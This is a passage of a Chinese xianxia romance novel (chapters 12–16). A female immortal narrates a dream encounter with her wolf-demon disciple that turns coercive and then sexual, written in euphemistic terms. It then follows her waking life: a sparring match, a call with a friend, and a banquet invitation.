瞬息之间,天色骤暗,校场寂寂,刚才还在旁边练剑的弟子消失得无影无踪。
天地之间,只剩我与段灼二人。
他手中还握着那柄剑,清冷的月色照得他肤色惨白如鬼,半边俊美的面容隐匿在森冷的暗黑中。
段灼比我高出许多,站直之时,我要仰面才能与他对视。
在现实中,段灼见我总会矮身一些,那模样看起来卑微。
在梦中的段灼,仿若一尊拔地而起的美像,被供奉于高台上,只食凡人贪念,而凡人的贪念与欲-望多漆然,故他也化了一身玄衣。
段灼的耳朵和尾巴悄无声息冒出头,在黑夜中来回晃动、摇摆,他的心情似乎还不错,在与我欢-愉之时,段灼也常会露出狼耳与狼尾。
他的眼眸在冷月下微亮,亦含着血色,唇齿之间嚼着些与往常一般浓情蜜意的话。
“师尊可思念我?”
这话音却如幽冥业火,在寂静之处悄然灼烧着我的身体,我的心,叫我听之浑身汗毛直竖,冷汗涔涔。
12. 第十二章
这几次接触下来,我对梦中的段灼已有些了解,如今眼前的段灼与前两次都有些许我说不上来的差异。
我却不知这差异究竟在哪里。
说到底是我不够了解他,无论是梦里还是梦外。
我心中对他存有疑虑,甚至还是会怀疑他是入梦的魔族人。
这样浓情蜜意中裹着森冷的眼神,我在梦中的段灼身上从未见过。
但是人皆有多面,仙与魔亦然,这也有可能是梦中段灼的另一面。
他紧紧扣住我的指,我抗拒,他便将我的指骨个个掰开,强行与我十指紧扣。
我看着他,最终顺遂他的意说着:“思念你。”
他如得了稀奇玩具的孩子般,快活地低笑了起来,笑得双肩都在轻轻颤抖,他似乎真的因为我的话高兴,就连狼耳和尾巴也在风中摇摆起来。
他与我说:“我要你吻我。”
不是我想吻你,而是我要你吻我。
这样的要求过于无礼,但我想他也应该有前两次的记忆,知晓我并不抵抗他,甚至还有些顺从他了。
当然,我吻了上去,却也并非是因他的话,而是……我有些想与他亲昵,有些想念这个吻。
一个吻罢了,我与梦中的段灼已经吻得数不清有多少次。
不仅是唇,我亲段灼,段灼亲我,浑身上下,哪处没落下过?
我与他在梦中耳鬓厮磨,亲密无间,可我的心与他的心却相隔甚远。
段灼的吻温柔,我的吻比他粗暴,我是个没什么耐心,且爱在亲昵之事上施加一些小报复的仙。
我勾着他的脖颈,微微踮脚,蹭上他的唇,当他以为我与他正是浓情蜜意时,再狠狠咬上去。
我撕咬着他柔软的唇,看着他无比天真以为我是在讨好他的模样。
随之趁虚而入的,还有在我手中幻化出的青霜剑。
我旋即将青霜剑捅入了他的胸口,他微微一怔,吃下一剑行动都变得迟缓起来了。
青霜剑是爹娘为我亲寻的佩剑,剑光青凛若霜雪,能入梦,斩世间万物。
剑拔出来的瞬间,剑锋粼粼,映着段灼错愕的模样,他缓缓抬头看向我,那双如男鬼一般黑漆漆的眼中藏着些沧澜恨意,亦落了些晶莹的泪。
梦中的妖族,若是被青霜所伤,本体也会受其害,即便是在梦中,被伤之处也会流血,可段灼却并未流血,这便意味着,他只是我的梦中之物。
他低声抽泣着,眼神像是要将我嚼碎,但他最终并未这样做,而是将自己的唇咬得鲜血模糊,对我说着:“师尊厌我。”
他步步紧逼,继续沉声说着:“方才师尊分明说,想我、爱我。”
段灼像是来找我索命的厉鬼,鬼魅面容,脸色苍白,唇色眼红,那双黑漆漆的眸,落在我身上,浓浓如烟的恨夹杂着爱,口中幽幽吐出的字句带着凄然和怨恨。
他的话随着唇边的鲜血,一滴滴滚落在地上,他眼中是悲伤模糊成一片的雨雾。
梦中的段灼并非妖物化生,这就是我的梦,是我梦见了段灼,并且在梦中用青霜伤了他。
不会伤及本体,不会伤及梦中的他,但是却深刻地划伤了他的心。
他的心似乎流泪了,也流血了,因为我这一剑。
我神色错愕,却没想到我的猜测真的错了,我将青霜剑收回去,可眼前的段灼却失控了。
我看着眼前的少年,我承认我说过念他,但那是顺着他的意所说,我却并未说过爱他,也从未爱过他,亦不可能爱他。
天色漆黑,风悄然吹着,滚了一地的落叶,我看着他受伤的模样,说着:“我并未……”
“唔唔……”
我的身体动不了了,就连唇也被他捂住了,段灼似乎不想听我说出这些叫他难过的话。
他宁愿我说不出来。
他缓缓靠近我,我看着他的脸在我面前逐渐放大,我无法退后,像是脚下有无数藤蔓正拉扯着我,叫我在原地生根,无法行动。
段灼站在我面前,身后是月色,他的影子投到我身上,宛若压过来的一座山。
段灼一只手捂住我的嘴,另一只手亲昵的拂过我的肩,再从后颈握住了我的脖颈,姿态强势,又轻轻抚着我耳边、颈后的发。
段灼对我露出了一个惨白的笑,轻声道:“嘘。师尊分明说过念我,亦说过爱、我。”
他并未对我做什么,只是放在我颈后的那只手太过于冰冷,叫我被这冷风吹得打颤。
校场之上,除了我与他,再无旁人。
“唔唔唔……”
说实话,我想骂他,奈何发不出一个完整的字音。
“逆……”
“唔……”
段灼又含了我的唇,手始终在我的后颈处,似亲昵,却又似微微用力便能将我轻易掐死。
诚然,就算我说
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他是逆徒,是畜生也并不是全无道理,毕竟没人会对比自己大几十岁的师尊如此。
不过我这个想法就不对,他不是人,是妖魔一族,是狼。
再者,狼是动物,自然也是畜生。
他撬开齿-贝,不容我拒绝,搅动着感官,与我交缠。
因我伤了他,他并不温柔,掠过我的唇-舌,叫我无法出声,就连呼吸都浅乱了些。
我眼中有泪,却也只是深吻后自然流落出的泪,他眼中亦有泪,却方才我冤枉他,伤心难过又委屈的泪。
我也尝到了段灼口中的鲜血滋味。
他将我抱起来,我在他怀中全然没了师尊的样子,我怒道:“你要将我带去何处?”
他不回答我的话,只是走着,我浑身都动不了,尚且只有这张嘴还硬。
“混账”“逆徒”“畜生”三个词来来回回骂了许多遍,段灼也并无反应,只是抱着我往前走。
在我骂了几十遍后,段灼终于停下来,看着我:“师尊还会骂别的吗?大可以骂得更难听一些。”
“?”
这人什么意思。
我也想骂些难听的,可我爹我娘素质都很高,甚至云恒也素质高,没有在我面前说过什么难听的话,于是我也不会别的骂人的词。
于是为师嘴硬道:“我不骂。”
段灼有些阴晴不定,他方才还难过现在似乎心情又好起来了,他道:“师尊其实是不会骂别的吧?”
我不再与他多言,我不受他的侮辱,宁愿闭嘴任由他将我抱去别处。
段灼只是笑,并未再多说什么,他抱着我穿梭在碧水瑶台,我才知他要将我带去他的住处,也就是弟子居。
弟子居由许多个小院落组成,段灼与几个师兄住在同一个院落中,一人一间屋。
夜已深,月色冷清,院中寂静,只有风滚着落叶的声音,像是一个人都没有。
段灼推开门,将我丢在床上,眼前的场景逐渐明亮起来,我看见了床边放着的南海明珠。
那明珠就在枕边,我看着它,它亦看着我,明珠中照着我的容貌和身后如饿狼般的妖族少年。
段灼亲昵的声音在我耳旁响起:“师尊。”
我趴在床上,他拥过来从身后围住我的腰,头靠在我的颈边,轻轻蹭着我的发与颈。
南海明珠中散发着淡淡的光芒,我与段灼正亲密无间的身形正落在其中。
13. 第十三章
我心中不禁产生了一些疑问。
为何这颗珠子会出现在梦境中?为何段灼会将这么亮的珠子放在枕边?
且不说别的,这样明亮,夜里如何能入睡。不过我又想,谁知梦里梦外是不是一样的。
我与段灼紧贴着,他在上,我在下,他热得要将我灼伤一般。
段灼微微一动,我便有了些不同的感觉。
南海明珠照着我微微泛红的脸颊,和段灼埋头警惕地在我浑身上下嗅着的模样,他的发丝扫着我的脖颈,有些痒,还有些奇异之感在我周身各处绽开,叫我不自在。
我扭着身子,与他道:“你下来。”
段灼不听我的,他用那双不知何时竟生得这般宽大的手自下穿过,环住我的腰,冰冷的触感和他指尖的薄茧让我微微一颤。
腰间的系带被解开,衣裳散乱,被一片片剥去叶片与花瓣。
我的脸红透了,别过头,南海明珠中倒映着我与他难堪的模样。
在校场中,穿上这身衣,我尚且还是师尊,有几分威严在。可卸下这身皮囊,我便与他成了露水情缘的夫妻。
他与我翻身过来,他在下,我在上,他吻着我,我回应着,他吻得狠了,叫我的唇-舌不知该如何自处。
“唔唔……”
我只得配合着他的动作,配合着他的行为。
其实我有些厌恶这样的自己,可人仙皆有欲,而对我来说我只是接受不了我与他在梦外做这样的事,若是在梦中,却也算不得什么。
我知道我是在为自己找着借口,使自己能毫无负罪感沉醉在其中。
五指扣住我的后脑,强-迫着我接受他的吻。
我交叠着髀间,被他一个个亲昵忘情的吻挤开,他哄着,亦诱着,使我将双髀缓缓分之。
他在我耳边低语,“师尊师尊”叫着。
我看着二人如蛇尾交般痴-缠的模样,我的脸鲜红欲滴,与他一起,促而抖着。
我明白了段灼将我带来这里,与我在南海明珠旁亲昵的缘由。
他想让我看见自己的样子,这副不堪为人师的模样。
我在朦朦胧胧中想着,段灼惩罚我的方法奏效了,我想我醒来若是看见段灼会脸红,亦会觉得羞愧难当。
他宽阔的手从我的颈下穿过,带着薄茧的指尖轻轻揉搓着我的脸颊,迫使我抬头看着自己的模样。
我神魂皆失,段灼的神色与他的吻如针一般,细细密密落在我身上。
他倾身与我说裹着蜜的话:“自我在仙界见师尊的第一眼,便觉得师尊真美。”
“师尊是我心中最美的女子。”
“师尊……师尊……师尊……”
他说着说着自己便忘情了,我只能微微抬起双眸,看着他那副如鬼魅的痴缠之态,像是真的对我有多深的爱意。
且我翻阅了脑中曾阅读过的古今典籍,却并无一个字告诉我,“美”是自己的这副模样。
我只觉得自己这副模样着实狼狈,全无师尊的样子。
不过我也在庆幸,醒来后段灼并不知晓这些。
我与他出奇的契合,且我与他之间的相处,只有舒服与更舒服之分。
抛开了人性、神性,剩下的只有动物本性。
我迷迷糊糊想着,这大小与梦外他的大小真的一样吗?
我又哼哼了两声。
偶尔也眯起眼看着明珠里的他和自己。
原来白日里我将此物赠予他,竟是这样用的,我不禁感叹声风水轮流转。
我的余光扫过段灼的屋子,这屋子与我想的不一样。
我以为应当是凌乱不堪的,谁知整洁成这样,角落里还放着一个箱子模样的东西,不知里面装着些什么。
“哼哼……”
我不再多想别的。
终于到末尾,我倚靠在他怀中,呼呼喘气,身上都是些黏糊的汗,这比我跟旁人一顿打斗还累些。
我终于理解,为何那些女仙提起这事儿神色熠熠了。
他痴痴吻着我的掌心,说着:“师尊的掌心好香。”
我自己举起另一只手闻了闻,却并未闻到什么味道。
我抚摸过段灼的发顶,他像狗似的舌尖擦过我的掌心,一下下吻着,一下下舐着,像是我掌中有什么好吃的。
我有气无力问着:“哪里香?”
我被折腾得连说话的力气都没了。
“……”
我的意识越来越远,已经听不清段灼在说些什么。
只是觉得他的身体热热的,靠在他怀中好舒服,让我想起了儿时在娘亲怀中,她讲着故事哄我睡觉。
在意识模糊之时,似乎有人亲了亲我的额间,与我说着。
“师尊,若是下次见时,可以打我重一些。”
这是什么话。
从梦中醒来时,劳累之感消失了,只剩下晨起后的神清气爽。
我拂开被褥,站起来伸了个懒腰。
不得不说,睡得挺香的。
我想起了在梦中,段灼最后与我说的话,我不清楚他话中的“见面”究竟是梦里还是梦外?
不过都是梦呓之言,听听也就罢了。
经过昨夜,我也明白会做与段灼的梦是因为我触碰了他。
但我不知骂他是否有同样的效果,只得找机会再试一下。
我记得今日是弟子对弈之时,弟子们会在校场中,两两一组,比武较技,但我觉得应该没人愿意跟段灼一组的,毕竟他们都这样厌恶他。
若是我去,正好可以与他一组。
时辰尚早,我决定收拾一下去。
我走到梳妆台前,铜镜照着我的模样。
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镜中的女子青丝如墨,肤如凝雪,眉形细长,唇色极淡,只有那双狭长的眸勾勒了些淡薄的晶亮。
我拾过桌上的桃花簪,将发丝松松散散弯起大半,余下几缕碎发落在颈侧。
我想起云恒说,我生了副薄情寡义的模样。
想起那些与我攀谈的仙君说,我生了副冷清美人的模样。
我看着镜中的自己,又想起了段灼那句“师尊是我心中最美的女子。”
想起昨夜我与他缠绵,如镜的明珠中烙着我与他挂着薄汗的痴样。
镜中的女子红了脸,我的脸颊也热了起来,我如今发现,我不只是不敢看段灼,亦不敢看自己。
我捂着发烫的脸,兀自说着:“乱套了……”
这时通灵音传来了,我接通,那头云恒雀跃的声音传了过来。
“封镜,这一日不见,可有想我?”
我道:“并非一日不见,昨日晨间才通过灵。”
“哎呀,你懂什么,一点人情味都没有,人家是想你了~~”
我的眼前仿佛出现了云恒在我面前对着手指的模样,思及此处,我轻轻笑了一声。
我带着些笑道:“说罢,什么事?”
云恒啧啧两声,有些狐疑道:“封镜,以我对你近百年的了解,觉得你这几日真的有些不一样,方才居然还笑了!”
我:“哪里不一样?我平日里很少笑吗?”
“很少,我说不上来,就是很不一样。”
她又警惕道:“可是你与段灼发生了些什么?怎么一副恋爱脑发作的样子?”
我:“我与他并未发生什么啊?恋爱脑是何意?”
云恒会说一些我无法理解的稀奇古怪词,我稍微能明白这其中缘由是,她时常爱看一些人间的话本故事。
“如你的预知梦中所言,你会痴恋段灼,为他无条件奉上奇珍异宝,不顾自己死活爱到疯魔,我们一般称之为恋爱脑。”
我道:“我并未爱上他。”
“我可是会时时盯着你的,防止你中了他的圈套。”
“那近来你与他发生了什么?”
我思索了一下,觉得如果不说点什么来敷衍云恒,她大概不会善罢甘休的。
我道:“我将南海明珠送给他了。”
此言应该是合情合理的,毕竟这个是我早就与云恒说过的。
云恒道:“你……你……你果然成了痴恋他的恋爱脑!”
我:“?”
云恒又道:“我不信送此物来的女仙没有说过南海明珠的用处!封镜,你已经恋爱脑到要去监视段灼了?”
我:“……”
我预料到了一些事,但还有一些事是我并未预料到的,比如云恒知晓南海明珠的用处。
如此,我只得硬着头皮再与云恒说些别的搪塞之词。
14. 第十四章
我道:“其实我不知此物的作用,多谢云恒女仙告知。”
通灵音那头的云恒咆哮道:“你肯定知道!!!我与你说,什么都好,千万别做恋爱脑!!”
我硬着头皮道:“我不知道,有人寻我,我先走了。”
“封……&*……%&!!”
我挂断了通灵音,耳根终于清静了。
我自然是知晓南海明珠作用的,但我并不是想要监视段灼。
嗯……
我转念一想,但我好像就是想要监视段灼才赠与他的。
我感觉云恒对我有些偏见,她似乎并不相信,我不会喜欢上段灼,一门心思认定了我会成为她口中的“恋爱脑”。
可我形单影只近百年,又怎会轻易喜欢别人。
我并未与云恒说过,最后我决定日后将段灼推下万魔窟,我为了自己的性命,要他去死。
毕竟此法并非正道女仙所为之,我不想她对我有意见。
我是个虚伪的仙,还要维持表面的体面。
*
这几日,我去校场的次数稍许频繁,是近来无事可做心中又想着段灼的事。
从前我还会忙着修炼,想要杀了魔尊替我爹我娘报仇,但却被仙界这帮仙合力劝住。
他们言之凿凿,劝我之言句句有理,说一是魔尊的实力未可知,就连我爹娘那样的战神都葬送在酆都城,他们怕我与我爹娘一起死,怕战神后继无人。
二则是,三界难得维持近百年的和平,就算将这个魔尊杀了,也很难保证新的魔尊并非嗜血残暴、杀伐狠绝的魔,亦会如上一个魔尊维持这样的和平。
当初为此事,我还在西王母那处关了好几日,她好说歹说,拿出我爹与我娘,我才终于放弃了在我心中燃烧了许多年的,想为他们报仇的想法。
但纵然我放弃,也是看在我爹与我娘的面子上,我想维护他们用性命守护下来的和平,而并非为了所谓的三界不再因为战火而生灵涂炭。
我不去酆都报仇,却并不代表如今我已经不痛恨妖魔一族了。
再说我为了活命想杀了段灼,便是我知晓,身体发肤受之父母,我自己的命并不全是属于我自己,还有一部分属于我爹娘,我想活着,想要我身体中,我爹与我娘的那部分血液也同样鲜活在这世上,也就当是他们也还活着了。
我爹娘结为道侣数百年近千年才有了我,而我自幼体弱,就连这条命也是他们费尽心思才保下来的。
从降生那日,司命仙君便道,我有早夭之相。
他们既能费尽心思让我平安长大,将世间的珍宝尽数置于我面前,那我便理应如他们那般,珍惜我这条命。
这也是我费尽心思求生般,就算是杀了段灼,也要自己活下去的原因。
*
今日从寝殿去校场的一路上都不曾看到有暗处的弟子在偷偷通风报信,想来他们也并不认为我会连续两日都去校场。
我隐了气息,正好去看看我不在之时,他们究竟在做些什么。
我走进校场,人声哄闹,有些弟子在高谈阔论,简言之吹牛;有些弟子在用剑随便挥两下打打周围的花花草草,想来是修炼无趣;但是这其中亦有正经比武较技的弟子,那是真正想修炼进步的人。
段灼在人群之外的地方,独自练剑。
但今日比武较技原本是要两个人一组,但他独来独往惯了,就算一个人也不会觉得尴尬一般。
我进入校场后,第一个注意到我的人仍是段灼。
其实我有些惊讶,为何他一个小妖,在我隐藏了气息后,还能先一步注意到我?
大概是人群之中有些人注意到了我,他们开始给彼此打信号,嘈杂之声逐渐散去,弟子们各回各位,开始认真比武较技。
这在我看来也与演给我看的没区别。
我指着其中的几个弟子道:“你,你,还有你,这个月劈柴。”
这三个是方才翘着腿在一边高谈阔论的弟子。
他们神色错愕,似乎没有意识到我是在说他们,见我神色肃然,便只能焉了吧唧的花儿似的,垂头丧气答道:“弟子遵命。”
我又指道:“你,你,还有他,你们几个从今日起,每日十个来回上下山。”
“……”
“弟子遵命。”
不管是否被我点中,这些弟子一个个面色惨白,整个校场中除了打斗的声音,再无别的杂音。
我慢悠悠穿过人群,走到段灼面前,他的剑法向来最标准,且他往日里也比旁人用功,若他是人或仙,但凡有些灵气的,想来也是天资聪颖之辈。
我问段灼:“为何没人与你比武较技?”
这个问题有些明知故问,其实我知晓,因为段灼不受人待见,没人愿意与他比武。
段灼用一双漆黑的眼看着我,字音颤抖道:“我……”
却也并未等他回答,我手中幻化出青霜剑,与他道:“我来与你比。”
此话出,校场上一片寂静,什么打斗声皆若风止。
青霜是神剑,在场许多人都只听其名,未见其剑,如今见到这通体淬光的冷剑,弟子们难免神采奕奕。
段灼的佩剑是我赠予他的赤赦剑,剑身取自炎火之山的焰泥,经淬炼而成,也不比青霜剑差多少。
其实按理来说,段灼是配不上赤赦剑的,这剑原是北斗星君赠我的,只是我嫌赤赦剑太过于沉重,不大趁手,这才塞给段灼。
其实我也并不知晓,于段灼而言,这剑用着可趁手。
我问道:“我赠予你的赤赦剑用得可还趁手?”
段灼回神,朝我拱手道:“多谢师尊关怀,自然是顺手的。”
其实并非我关心他,若是不趁手,我与他再比武,岂不是欺负他了?
弟子们闻言,亦开始躁动。
“原来赤赦剑是师尊赠他的?我道,为何他这小妖还能用这般名贵的剑!”
“我倒是猜到了。若不是师尊赠他,就他这般毫无法力的小妖,又如何能配得上这剑?又如何能拿到这样的剑?”
“师尊倒是对他比对任何人都上心……”
这些话我听见了,段灼自然也听见了。
他握紧手中的赤赦剑站在原地,如一棵树一般,只是被微风轻轻拂动发丝,抿唇,不多言别的。
段灼的神色越过人群落在我身上,我亦看着他,却也并无别的动作。
我道:“那便好。”
我对这些话熟视无睹,心中想着用青霜剑与段灼对
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峙,也难免有些大材小用。
一阵风过,吹动我与段灼的发丝,我与他对视,从他那双眸中,我看到了许多情绪,有欣喜、有惶恐,亦有不解。
我道:“三招之内若是能碰到我的衣袖,算你胜。”
我心中晓得,若是我不想让段灼碰到我,就算是三十招他也碰不到一下。
见此景,弟子们将我与段灼围在校场中央。
段灼点头,并不多言,呈现着备战姿势。
赤赦在段灼手中挽出剑花,他的第一剑凌厉,朝我急速刺了过来。
只是他的“急速”于我而言却算不得什么,我慢腾腾闪避开,手中的青霜剑轻轻抵住他的剑锋,他骤然退后几步,我勾唇一笑,光论剑术,其实段灼已经比许多弟子都强了,毕竟他勤奋。
此为第一剑。
人群中都是叫好的声音,但是到底好在哪里,我却不知道。
第二剑,段灼却有些走神,第一剑他的心思尚且还在剑上,如今我却能感受到他的心思都在我身上。
此举在比武场中,这是一种蔑视对手的行为。
旁的弟子或许看不出来,但我看出来了。
他被我一击打得结实,往后退两步,人群在他退却的地方散开,他跌坐在地上,并无一人扶他。
我手中的剑锋凌冽,骂道:“蠢货,你竟走神!你可知刀剑无眼,若是当真与妖物对上,哪有你走神之时!”
大概是我的骂声太凛冽,就连周遭围观的弟子的声音都逐渐小了下去。
可面前的段灼却肉眼可见的,红了耳尖。
“……”
我不懂段灼此为何意,骂一句竟……
我说不上他这副模样究竟是什么意思。
第三剑,段灼认真与我周旋,但到底是实战经验太少,赤赦剑在即将抵上我脖颈的那瞬间,被我侧身躲开了。
以此三剑,段灼气喘吁吁,而我立在原地,神色自若。
赢得太轻松了,不费吹灰之力,我觉得我要是能够直接杀了段灼会比杀死一只蚂蚁还容易。
我将手中的青霜剑收回去,道:“下次我用木剑,青霜对上你这般废物,大材小用。”
段灼垂头,喘着气,他还并未从方才三剑中缓过来,听我这句话后,他浑身微微一颤,咬着下唇好一会儿,我见他耳尖红得几乎快滴血。
他缄默许久后,目光一直跟随着我,闷声道:“师尊训诫得是。”
我说这话时,周围的弟子早已退去。
他们想看的只有青霜神剑出鞘,却不想看着败者颓然。
我收起青霜,看了一眼周围的弟子,我知最初都是两两分组的,但在这过程中,肯定有弟子不想对上自己厌恶的人,故而换人,或是宁愿自己一人练习。
我并未再训斥段灼,而是问他:“最初是谁与你一组?”
段灼沉默了会儿,才说了一个弟子的名字。
好死不死,那弟子正是上次段灼腿有伤,却还是将他叫到校场操练的弟子,亦是被我归为了碧水瑶台这一干弟子三六九等中只比段灼高一等的弟子。
我转头扫过校场,发现那弟子就在不远处,正一个人练剑,他动作歪斜,正在走神,反正如何心思都不在练剑上。
15. 第十五章
这弟子宁愿一个人都不跟段灼一起,想来是有原因的,我猜,厌恶是一方面,另一方面可能是……他打不过段灼。
段灼的剑术在弟子中算是佼佼者,而这弟子就算有灵力,却微弱得如青烟一缕,甚至比段灼赠我的桃花簪上的魔气还稀薄,他们二人比武无异于近身肉~搏。
我作为师尊,发现弟子之间关系不和睦,我自然要想方设法叫他们“和睦”起来。
我叫那弟子的名字,他一怔,手中胡乱比划着练剑的动作急停,瞳孔放大,缓缓转头看向我,就连行礼都忘记了。
我对他道:“你,过来。”
他指着自己,面色惨白,抖着嘴唇道:“我?”
我点头道:“对。”
他闻言,双腿微颤,正速度缓慢朝这边步步挪过来。
见他这反应,我更加确定心中的想法。
他惊恐的神色越过我,似乎正落在我身后的段灼身上。
我想,若非是听了我的令,估计这辈子都不想与段灼比武较技。
我顺着他的目光看向段灼。
段灼倒是没什么怪异的表情,耳尖泛红,见我看过来,他浑身一颤,别过头不再看我。
我:“……”
他害羞个鸡毛啊。
这个世界真是颠了。
虽说我并未真正喜欢过谁,对世间男女之间的情与爱也并不通窍,不过我也不是傻子,段灼三番五次如此对我,我也能看出些端倪来。
不过我并不想多去思索这些,当我什么都没看见好了。
至少段灼的神色叫我能够确定,他并未对这弟子做出类似于“威胁”的表情。
他的神色总是坚韧又沉稳,至少我在之时,倒也温顺,从未见他威胁过谁。
想来那弟子是真的有些害怕段灼,就只是看着段灼,便会害怕得颤抖。
我心中想着,这弟子是否有些精神分裂,往日与那些交好的弟子在一起时,他可并不怕段灼,如今竟也怕上了?
还真是狗仗人势。
我只见过段灼受人欺辱,却不知还有他还有能叫弟子畏惧的一面。
那弟子走到段灼对面,神色警惕,腿愈发抖了,轻轻一碰,便会立刻跪地不起般。
他手持木剑的姿势颇为别扭,想来是往日里从不多加练习,显得生疏。
碧水瑶台中许多弟子并无自己的配剑,往日里练习都在使着木剑,段灼算幸运却又并不幸运,我赠予他的那柄赤赦剑是好剑,但因我赠他这剑,亦会叫同门看他不顺眼,暗地里使绊子整他。
不知段灼自己心中是如何想的,他究竟想不想要赤赦剑。
不过他想要与否,对我来说并不重要。
我看着他们二人,先不论别的,作为师尊我告诫道:“比武较技,勿动真格,禁伤同门。”
两人朝我行礼,答着“是。”
段灼神色沉如水,另外一名弟子则惶惶不安,也不知他们二人究竟听进去没,反正我提醒过,若是谁伤着谁,那便不是我这个做师尊的错。
我点头,颔首道:“自行练习罢。”
我并未多做停留,既然目的达到,不多时,我便打算离开校场。
段灼的目光如往日般落在我身上,直至我走出校场。
从前他如何我原本是不想管的,但察觉到他对我的异样心思以后,这样的目光叫我不自在,还会让我想起我与段灼的梦中之事。
且我心中百思不得其解,那预知梦中不是说我会痴恋段灼吗?如今这样究竟是为何?
我想世间之事,因循果报,段灼如今可能是喜欢我的,可谁又能知晓以后会如何。
回寝殿后,守门弟子迎上来与我道,西王母差人送了一张请帖来,过几日她宴请四方参加蟠桃宴,请我也去参加。
蟠桃会五年一次,我次次都被邀去,我早就习以为常。
可怪就怪在,这次西王母还让我带上段灼一起,我将请帖翻到末尾,也并未找到其中的缘由。
我问那弟子道:“她可还说了些别的?”
守门弟子道:“回禀师尊,那仙娥并未再多说别的,只是让我将这请帖交予师尊。”
我思来想去,觉得西王母此举当是深思熟虑,毕竟她要为三界考量,段灼是魔尊之子,她为了两界交好,会意思意思慰问段灼倒也不奇怪。
我无所谓,只是不知段灼能不能适应。
我道:“知道了,你下去吧。”
那守门弟子应答一声后,后便出去了。
时日尚早,与其左右乱想,叫这些邪恶的念头在我的脑子里胡乱钻着,还不如打坐静心。
于是我闭上眼,开始打坐。
*
我再睁开眼,夜已深。
举目四望,周遭点着几盏宫灯,庭院外一片漆黑,桃花簌簌落下。
我醒来之时,原本心中并无杂念,可如今看着这灯这花这草,甚至是这在我眼前晃晃悠悠的桃花精怪,我无端想起了段灼的脸。
我想起段灼微微泛红的耳尖、脸颊,还有他带着羞怯的神色,那双时时看向我的漆黑的眼,有时像死水,有时又微微泛起涟漪。
“……”
到底还让不让人睡觉了。
我翻来覆去,尝试着不去看屋外的桃花,不去看那明亮的宫灯,可无论如何,似乎都无济于事,段灼那双眼眸,依旧在我眼前,在这层层叠叠的乌黑浮云中匿藏着。
如此叫我有些恼怒,可我翻着翻着,便在浑然不觉中睡着了。
不知白日里我骂了段灼,夜里究竟会不会梦到他,会不会与他在梦中做这样那样的事儿。<
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*
一夜好眠,我什么都没梦见。
我打了个哈欠,准备起床,如今我也确定了骂段灼并不会有做春梦之效。
有也好,没有也罢。
反正昨夜我是睡舒服了,我起身步于庭院外,伸了个懒腰。
神仙做成我这样已与做凡人无异,毕竟仙是不用休息的,仙没有休息的需求,但我有。
我爹我娘虽然都是原住民仙,但他们二人说活得太久了,总得做些事来消磨时间,于是就学了凡人那套,也有这样的习惯,我自小是他们带大的,我自然也有。
桃花精见我晨起,绕上来落在我的肩上,与我委屈抱怨说昨夜我都不理她,甚至还翻个面睡觉。
她却不知昨夜我脑子里都装了何种叫觉得难受的东西。
对此我解释道:“昨夜太困了,六神无主,许是并未听见。”
桃花精还想再说些别的,这时候守门弟子进来道:“师尊,有人求见。”
我道:“见。”
来人是掌事弟子,负责碧水瑶台中日常的采买,他将册子奉上:“此为本月的采买负责名单及采买物件的清单,还请师尊阅示。”
碧水瑶台中的弟子并非人人辟谷,吃喝拉撒乃人之常情,这些仙界有,却只供给仙人,并不供给各仙宫的弟子,这便需要他们去人间采买。
下山路途颠簸,采买之物多了,需几个弟子一同下山。
我翻看了一下,从几个弟子的名字中看到了“段灼”二字。
我盯着“段灼”二字看了好一会儿,将册子合上,道:“就按这个来罢。”
“是。”
在收徒之前,我并没有想到收的徒弟多了,竟会有这么多麻烦事儿,弟子们的大小事宜都需知会我,由我来决断,他们之间有矛盾,我也要解决。
偶尔我会感叹一句,为师真累啊。
收了这么些徒弟,我并未享受过一日桃李满天下的高台喜悦,却还在时时为他们擦屁-股。
我觉得这不怪我,他们不真心待我,我自不必真心待他们。
除了这些大小事,碧水瑶台中还有一套门规,是我从云恒那里照抄过来的。
若有弟子犯事,拿出这门规,则能够说明,是他自己冥顽不灵,不堪教化,并非是我不教他。
用凡人的话来说,这就是一套能够在弟子犯事儿时撇关系的证据。
不过真到了弟子犯大错的要紧时候,想来就是千百条门规,我们这些做师尊的都难辞其咎。
若是不小心养出一个灭世大魔头,那三界中的正义之士不仅会追着你那徒弟喊打喊杀,更会追着你这个做师尊的打杀。
师尊,还真是个高危职业。
如果时间倒流,我宁愿一个徒弟都不收,毕竟我一个人也过得挺好的。
16. 第十六章
说来我若是不收徒,又怎会有我与段灼这些破事儿?
我踩过屋外的落花,又想起今晨起来得到的结果,思来想去我决定日后要多避免与段灼进行肢体接触。
我终是要杀段灼的,就不应该与他有这么多联系,就算是在梦中也不行。
不多时,守门弟子便与我说,今晨负责采买的弟子们已经下山。
虽是负责一月,实则七日到十日才会下山一次,采买也多数是买食材尔尔。
修行于凡人而言本就是一条难路,碧水瑶台中并无厨子,我也早已辟谷,这些进山的弟子最初还吃些糟糠,后来负责做吃食的弟子越做越好吃,这才叫他们吃上了些好的。
再晚些,天色见黑,守门的弟子又与我说,他们回来了。
我道了声“知道了”,便凝眸看着院外的落花。
段灼被我骂走了,庭院的地面无人打扫,也没人将桃花扫做团子。
我一边想着,一边用脚尖胡乱将桃花赶做一团。
桃花精见我如此,不解道:“女仙这是在做什么呀?”
她化形不久,如天真孩童,对万事万物都充满了好奇。
我随口道:“扫落花。”
桃花精在我身边绕了绕,叽叽喳喳比划着:“可我见旁人扫落花却也并非如此,他们通常是拿了个不知什么的东西,将花抚作一团,再用另一个东西装起来。”
我停下了动作,嗤笑道:“旁人是何人?”
桃花精一怔,小脸惨白,不愿与我多说:“女仙……女仙莫要问我了!”
我笑眯眯威胁道:“我与你也相伴百年了,当年还是我爹娘亲手栽下这桃花树的,若是叫我心中不快,青霜不小心三两剑下去,你这百年来的修行可都白费了。”
桃花精小脸苦兮兮道:“别别别女仙,我都说!”
我大概知道她说的“旁人”究竟是谁。
桃花精道:“就是一个时常出现在女仙殿中的妖族少年,从前他时常会来扫落花,如今却不见来了。”
我心中想,不见来了其实是我一巴掌将他赶走了。
“他从前曾……曾威胁我,若是敢说出去就……”
桃花精又悄咪咪看了我一眼道:“说要将我砍了烧柴!”
我竟不知段灼曾扬言说要将我庭院中的这棵陪伴了我近百年的桃花树砍了。
我嗤笑:“好歹也是百年桃花树化形的精怪,他不过是个小妖,你为何会这般怕他?”
桃花精双眸大睁,嘟囔道:“我可不会如他这般喊打喊杀的!我与女仙一般温柔!”
我笑,我竟不知我在她心中尚且还有个“温柔”的形象在。
似乎是想到了段灼的模样,桃花精浑身颤了颤,又道:“他浑身上下缭绕着魔气,虽不浓烈,但于我这般才化成精怪的来说却已经足够骇人了!但……但他似乎对我并无恶意,只在意这落了一地的桃花!”
